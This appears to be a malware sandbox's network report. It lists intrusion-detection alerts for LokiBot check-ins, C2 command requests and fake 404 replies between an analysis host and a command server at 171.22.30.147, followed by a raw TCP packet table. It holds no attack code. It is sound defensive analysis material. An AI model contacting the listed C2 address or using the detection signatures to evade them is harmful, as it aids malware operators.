192.168.2.3171.22.30.14749782802025381 01/05/23-08:52:36.098088	TCP	2025381	ET TROJAN LokiBot Checkin	49782	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749914802025381 01/05/23-08:53:14.852027	TCP	2025381	ET TROJAN LokiBot Checkin	49914	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750002802024313 01/05/23-08:53:40.505314	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50002	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749699802025381 01/05/23-08:52:06.870270	TCP	2025381	ET TROJAN LokiBot Checkin	49699	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749996802021641 01/05/23-08:53:38.933239	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49996	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497542025483 01/05/23-08:52:26.735221	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49754	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749877802025381 01/05/23-08:53:03.433942	TCP	2025381	ET TROJAN LokiBot Checkin	49877	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749862802825766 01/05/23-08:52:59.436708	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49862	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749934802825766 01/05/23-08:53:20.304475	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49934	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749779802825766 01/05/23-08:52:35.235559	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49779	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497172025483 01/05/23-08:52:14.761442	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49717	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749938802024313 01/05/23-08:53:21.374225	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49938	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749938802024318 01/05/23-08:53:21.374225	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49938	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749957802825766 01/05/23-08:53:26.768134	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49957	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750002802024318 01/05/23-08:53:40.505314	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50002	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749756802825766 01/05/23-08:52:27.231494	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49756	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500572025483 01/05/23-08:53:56.827355	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50057	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498532025483 01/05/23-08:52:57.043641	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49853	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499802025483 01/05/23-08:53:34.784528	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49980	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750021802025381 01/05/23-08:53:46.361205	TCP	2025381	ET TROJAN LokiBot Checkin	50021	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749980802025381 01/05/23-08:53:34.702395	TCP	2025381	ET TROJAN LokiBot Checkin	49980	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750018802825766 01/05/23-08:53:44.999195	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50018	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750077802021641 01/05/23-08:54:02.067623	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50077	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749983802025381 01/05/23-08:53:35.478290	TCP	2025381	ET TROJAN LokiBot Checkin	49983	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498252025483 01/05/23-08:52:47.996157	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49825	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749749802021641 01/05/23-08:52:25.162571	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49749	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749832802021641 01/05/23-08:52:49.809310	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49832	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749820802024318 01/05/23-08:52:46.558490	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49820	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498032025483 01/05/23-08:52:41.982616	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49803	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749820802024313 01/05/23-08:52:46.558490	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49820	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499522025483 01/05/23-08:53:25.281435	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49952	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749823802024318 01/05/23-08:52:47.379297	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49823	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749783802024313 01/05/23-08:52:36.372208	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49783	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749786802024313 01/05/23-08:52:37.217550	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49786	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749878802021641 01/05/23-08:53:03.704233	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49878	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497672025483 01/05/23-08:52:30.379314	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49767	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749961802024318 01/05/23-08:53:29.597138	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49961	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749964802024313 01/05/23-08:53:30.400374	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49964	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499302025483 01/05/23-08:53:19.298581	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49930	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749961802024313 01/05/23-08:53:29.597138	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49961	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749786802024318 01/05/23-08:52:37.217550	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49786	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749783802024318 01/05/23-08:52:36.372208	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49783	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749964802024318 01/05/23-08:53:30.400374	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49964	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497452025483 01/05/23-08:52:24.104430	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49745	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749954802825766 01/05/23-08:53:25.726692	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49954	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497822025483 01/05/23-08:52:36.186611	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49782	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749776802825766 01/05/23-08:52:33.619524	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49776	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749736802025381 01/05/23-08:52:21.543284	TCP	2025381	ET TROJAN LokiBot Checkin	49736	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749823802024313 01/05/23-08:52:47.379297	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49823	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750001802025381 01/05/23-08:53:40.243949	TCP	2025381	ET TROJAN LokiBot Checkin	50001	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749717802024318 01/05/23-08:52:14.673219	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49717	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749937802825766 01/05/23-08:53:21.090422	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49937	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749759802825766 01/05/23-08:52:28.024665	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49759	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749835802021641 01/05/23-08:52:50.902278	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49835	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749808802025381 01/05/23-08:52:43.325468	TCP	2025381	ET TROJAN LokiBot Checkin	49808	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750045802024318 01/05/23-08:53:53.481872	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50045	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749714802024313 01/05/23-08:52:13.349412	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49714	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749803802024318 01/05/23-08:52:41.905218	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49803	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500412025483 01/05/23-08:53:52.491665	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50041	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498312025483 01/05/23-08:52:49.622210	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49831	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750048802024313 01/05/23-08:53:54.265201	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50048	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750048802024318 01/05/23-08:53:54.265201	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50048	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499682025483 01/05/23-08:53:31.591227	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49968	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749963802025381 01/05/23-08:53:30.141323	TCP	2025381	ET TROJAN LokiBot Checkin	49963	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749852802021641 01/05/23-08:52:56.705137	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49852	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749763802021641 01/05/23-08:52:29.176849	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49763	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749941802021641 01/05/23-08:53:22.165125	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49941	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750008802021641 01/05/23-08:53:42.094852	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50008	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749785802025381 01/05/23-08:52:36.951784	TCP	2025381	ET TROJAN LokiBot Checkin	49785	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749874802025381 01/05/23-08:53:02.624496	TCP	2025381	ET TROJAN LokiBot Checkin	49874	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749898802024313 01/05/23-08:53:09.845609	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49898	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749987802024318 01/05/23-08:53:36.549688	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49987	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499242025483 01/05/23-08:53:17.670335	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49924	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749898802024318 01/05/23-08:53:09.845609	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49898	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749987802024313 01/05/23-08:53:36.549688	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49987	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749716802025381 01/05/23-08:52:14.357533	TCP	2025381	ET TROJAN LokiBot Checkin	49716	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749981802024313 01/05/23-08:53:34.961120	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49981	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749710802025381 01/05/23-08:52:11.662757	TCP	2025381	ET TROJAN LokiBot Checkin	49710	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749805802025381 01/05/23-08:52:42.467353	TCP	2025381	ET TROJAN LokiBot Checkin	49805	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749892802024313 01/05/23-08:53:07.470439	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49892	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749739802025381 01/05/23-08:52:22.339123	TCP	2025381	ET TROJAN LokiBot Checkin	49739	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497392025483 01/05/23-08:52:22.422279	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49739	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749828802025381 01/05/23-08:52:48.735651	TCP	2025381	ET TROJAN LokiBot Checkin	49828	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498752025483 01/05/23-08:53:02.993352	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49875	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500792025483 01/05/23-08:54:02.671781	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50079	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749981802024318 01/05/23-08:53:34.961120	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49981	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749892802024318 01/05/23-08:53:07.470439	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49892	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749915802024313 01/05/23-08:53:15.112176	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49915	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749917802025381 01/05/23-08:53:15.635846	TCP	2025381	ET TROJAN LokiBot Checkin	49917	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750025802024318 01/05/23-08:53:48.086655	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50025	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750061802825766 01/05/23-08:53:57.824423	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50061	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750067802825766 01/05/23-08:53:59.373237	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50067	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750054802021641 01/05/23-08:53:55.890469	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50054	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749737802024313 01/05/23-08:52:21.818381	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49737	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749826802024313 01/05/23-08:52:48.184567	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49826	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749714802024318 01/05/23-08:52:13.349412	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49714	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749803802024313 01/05/23-08:52:41.905218	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49803	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749986802025381 01/05/23-08:53:36.285692	TCP	2025381	ET TROJAN LokiBot Checkin	49986	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749740802021641 01/05/23-08:52:22.636691	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49740	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749737802024318 01/05/23-08:52:21.818381	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49737	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749826802024318 01/05/23-08:52:48.184567	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49826	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749989802025381 01/05/23-08:53:37.099082	TCP	2025381	ET TROJAN LokiBot Checkin	49989	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750025802024313 01/05/23-08:53:48.086655	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50025	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750022802024313 01/05/23-08:53:46.665385	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50022	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749897802025381 01/05/23-08:53:09.055046	TCP	2025381	ET TROJAN LokiBot Checkin	49897	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749915802024318 01/05/23-08:53:15.112176	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49915	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749780802024313 01/05/23-08:52:35.511333	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49780	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498812025483 01/05/23-08:53:04.594550	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49881	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499182025483 01/05/23-08:53:16.001398	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49918	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749780802024318 01/05/23-08:52:35.511333	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49780	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498972025483 01/05/23-08:53:09.137400	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49897	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749713802025381 01/05/23-08:52:12.826844	TCP	2025381	ET TROJAN LokiBot Checkin	49713	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499022025483 01/05/23-08:53:11.691862	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49902	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749984802024313 01/05/23-08:53:35.743967	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49984	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749842802825766 01/05/23-08:52:54.011182	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49842	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749984802024318 01/05/23-08:53:35.743967	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49984	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749931802825766 01/05/23-08:53:19.484274	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49931	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749802802025381 01/05/23-08:52:41.641382	TCP	2025381	ET TROJAN LokiBot Checkin	49802	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749753802825766 01/05/23-08:52:26.326305	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49753	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750022802024318 01/05/23-08:53:46.665385	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50022	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749947802021641 01/05/23-08:53:23.814636	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49947	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500632025483 01/05/23-08:53:58.415827	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50063	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750024802025381 01/05/23-08:53:47.812882	TCP	2025381	ET TROJAN LokiBot Checkin	50024	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749858802021641 01/05/23-08:52:58.341182	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49858	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750051802021641 01/05/23-08:53:55.100340	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50051	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749829802024318 01/05/23-08:52:49.001962	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49829	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749918802024318 01/05/23-08:53:15.920283	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49918	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749769802021641 01/05/23-08:52:30.825016	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49769	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749829802024313 01/05/23-08:52:49.001962	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49829	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750064802825766 01/05/23-08:53:58.597698	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50064	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749918802024313 01/05/23-08:53:15.920283	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49918	80	192.168.2.3	171.22.30.147

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2023 08:52:06.839880943 CET	49699	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:06.867167950 CET	80	49699	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:06.867285967 CET	49699	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:06.870270014 CET	49699	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:06.897475004 CET	80	49699	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:06.897677898 CET	49699	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:06.925846100 CET	80	49699	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:06.954988956 CET	80	49699	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:06.955018044 CET	80	49699	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:06.955135107 CET	49699	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:06.955419064 CET	49699	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:06.982395887 CET	80	49699	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:07.321518898 CET	49700	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:07.349001884 CET	80	49700	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:07.349236012 CET	49700	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:07.351938009 CET	49700	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:07.379162073 CET	80	49700	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:07.379388094 CET	49700	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:07.406955957 CET	80	49700	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:07.435997963 CET	80	49700	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:07.436028004 CET	80	49700	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:07.436168909 CET	49700	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:07.436228991 CET	49700	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:07.463627100 CET	80	49700	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:07.701452971 CET	49701	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:07.728910923 CET	80	49701	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:07.729079008 CET	49701	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:07.731854916 CET	49701	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:07.758996964 CET	80	49701	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:07.759093046 CET	49701	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:07.786366940 CET	80	49701	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:07.816133976 CET	80	49701	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:07.816170931 CET	80	49701	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:07.816405058 CET	49701	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:07.826524973 CET	49701	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.117568016 CET	49702	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.145354986 CET	80	49702	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.145598888 CET	49702	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.155253887 CET	49702	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.156394005 CET	49701	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.182873011 CET	80	49702	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.183012009 CET	49702	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.183748960 CET	80	49701	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.210495949 CET	80	49702	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.238276958 CET	80	49702	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.238352060 CET	80	49702	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.238518000 CET	49702	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.239011049 CET	49702	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.266241074 CET	80	49702	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.534990072 CET	49703	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.562602997 CET	80	49703	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.562776089 CET	49703	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.565295935 CET	49703	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.592947006 CET	80	49703	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.593089104 CET	49703	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.620465040 CET	80	49703	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.643965006 CET	80	49703	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.644093990 CET	80	49703	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.644273043 CET	49703	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.644273043 CET	49703	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.671680927 CET	80	49703	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.904083967 CET	49704	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.931479931 CET	80	49704	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.931592941 CET	49704	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.934535027 CET	49704	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.961661100 CET	80	49704	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:08.961746931 CET	49704	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:08.989114046 CET	80	49704	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.015466928 CET	80	49704	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.015525103 CET	80	49704	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.015686989 CET	49704	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:09.015770912 CET	49704	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:09.042915106 CET	80	49704	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.330188036 CET	49705	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:09.357709885 CET	80	49705	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.357922077 CET	49705	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:09.363910913 CET	49705	80	192.168.2.3	171.22.30.147
Jan 5, 2023 08:52:09.391174078 CET	80	49705	171.22.30.147	192.168.2.3
Jan 5, 2023 08:52:09.391295910 CET	49705	80	192.168.2.3	171.22.30.147
